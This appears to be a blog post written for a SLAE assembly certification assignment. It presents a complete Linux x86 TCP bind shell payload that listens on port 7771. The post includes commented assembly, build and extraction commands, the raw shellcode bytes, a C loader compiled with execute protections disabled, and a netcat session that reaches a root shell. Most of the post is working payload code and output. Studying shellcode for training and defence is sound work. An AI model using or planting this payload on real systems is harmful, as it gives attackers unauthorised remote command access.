Assignment_1 - TCP Bind Shell

This  post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-581
###

Here it is my TCP bindshell which aimed to listen on any address on port 7771.
The code is commented for the best understanding.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
; Title Linux Shell Bind TCP Shellcode
; Filename:bind_connect_execve_stack.nasm
; Author: Oleg Boytsev
; License http://creativecommons.org/licenses/by-sa/3.0/
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

global _start  ;this is for linker

section .text  ;text section
_start:   ;this is for linker

;cat /usr/include/i386-linux-gnu/asm/unistd_32.h - syscall table is here
;cat /usr/include/linux/net.h - this is the master header file for the Linux NET layer
;man socket - how to create a connection

;The first step is to create an endpoint for communication and return a socket file descriptor: socket(int domain, int type, int protocol)
xor eax, eax ;zeroed eax
mov al, 102 ;socketcall()
xor ebx, ebx ;zeroed ebx
mov bl, 1  ;net.h/SYS_SOCKET code 
xor esi, esi ;zeroed esi
push esi ;push 0 into stack (protocol)
push 1   ;push 1 into stack (SOCK_STREAM), man 2 socket
push 2   ;push 2 into stack (AF_INET), man 2 socket
mov ecx, esp  ;move a pointer to arguments array into ecx
int 0×80 ;run syscall

mov edx, eax ;save socket fd into edx

;The second step is BIND. Bind assignes the address to the precreated socket file descriptor. bind(int sockfd, (const struct sockaddr *addr), socklen_t addrlen);
;man 7 ip
mov al, 102 ;socketcall()
mov bl, 2 ;net.h/SYS_BIND code

;Making const struct sockaddr *addr (address family: AF_INET, port, Internet address)
push esi ;push 0 into stack (0 means any address)
push WORD 0x5b1e ;hex port in reverse (printf «%x» 7771 = 1e5b)
push WORD 2  ;push 2 into stack (AF_INET)
mov ecx, esp ;move a pointer to arguments array into ecx

;Bind itself. bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 16  ;socklen_t addrlen
push ecx  ;pointer to sockaddr struct
push edx  ;push sockfd into stack
mov ecx, esp ;move a pointer to arguments array into ecx
int 0×80 ;run syscall

;LISTEN/man listen: listen(int sockfd, int backlog);
mov al, 102  ;socketcall()
mov bl, 4  ;net.h/SYS_LISTEN
push 1   ;backlog
push edx  ;sockfd
mov ecx, esp ;move a pointer to arguments array into ecx
int 0×80 ;run syscall

;ACCEPT/man accept: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
mov al, 102  ;socketcall()
mov bl, 5  ;SYS_ACCEPT
push esi ;0 into stack
push esi ;0 into stack
push edx  ;sockfd
mov ecx, esp ;move a pointer to arguments array into ecx
int 0×80 ;run syscall 

;sockfd save
mov edx, eax ;save socket fd into edx

;DUP2/man dup2: int dup2(int oldfd, int newfd); Duplicate a file descriptor
xor eax, eax ;zeroed eax
mov al, 63  ;dup2() code
mov ebx, edx  ;save old fd in ebx
xor ecx, ecx  ;get 0, this is STDIN file descriptor
int 0×80 ;run syscall

xor eax, eax ;zeroed eax
mov al, 63 ;mov dup2() code into al
mov cl, 1  ;STDOUT
int 0×80 ;run syscall

mov al, 63 ;dup2() code
mov cl, 2  ;STDERROR
int 0×80 ;run syscall

;spawn a shell
xor eax, eax ;zeroed eax
push eax ;push NULL into stack
push 0x68732f2f ;push reversed //sh into stack
push 0x6e69622f ;push reversed /bin into stack
mov ebx, esp ;copy pointer to /bin//sh string into ebx
push eax ;push NULL into stack 
push ebx ;push pointer to /bin//sh into stack
mov ecx, esp ;mov pointer to argv[] (/bin/sh, NULL) into ecx
xor edx, edx ;zeroed edx (edx contain envp[])
mov al, 0xb ;mov execve() code into al
int 0×80 ;run syscall
Lets compile and link our code:

nasm -f elf32 bind_connect_execve_stack.nasm -o bind_connect_execve_stack.o
ld -m elf_i386 bind_connect_shellcode.o -o bind_connect_shellcode

And now we have to extract our shellcode from elf:

objdump -d ./bind_connect_execve_stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x02\x56\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

\x1e\x5b\ – this two bytes should be changed with a port number you want (hex’d)

Load in  checker.c


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x02\x56\x66\x68\x1e\x5b\x66\x6a\x02\x89\xe1\x6a\x10\x5
1\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x52\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xc
d\x80\x31\xc0\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0
b\xcd\x80";


main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

Compile our checker
gcc -fno-stack-protector -z execstack checker.c -o checker
and run:

./checker
Shellcode Length: 116

Now we are able to connect to 7771 port with netcat.
nc -v 192.168.91.130 7771
nc: 192.168.91.130 (192.168.91.130) 7771 [7771] open
id
uid=0(root) gid=0(root) groups=0(root)
Bingo)

Here it is a screenshot about how it works in real life:

No comments:

Post a Comment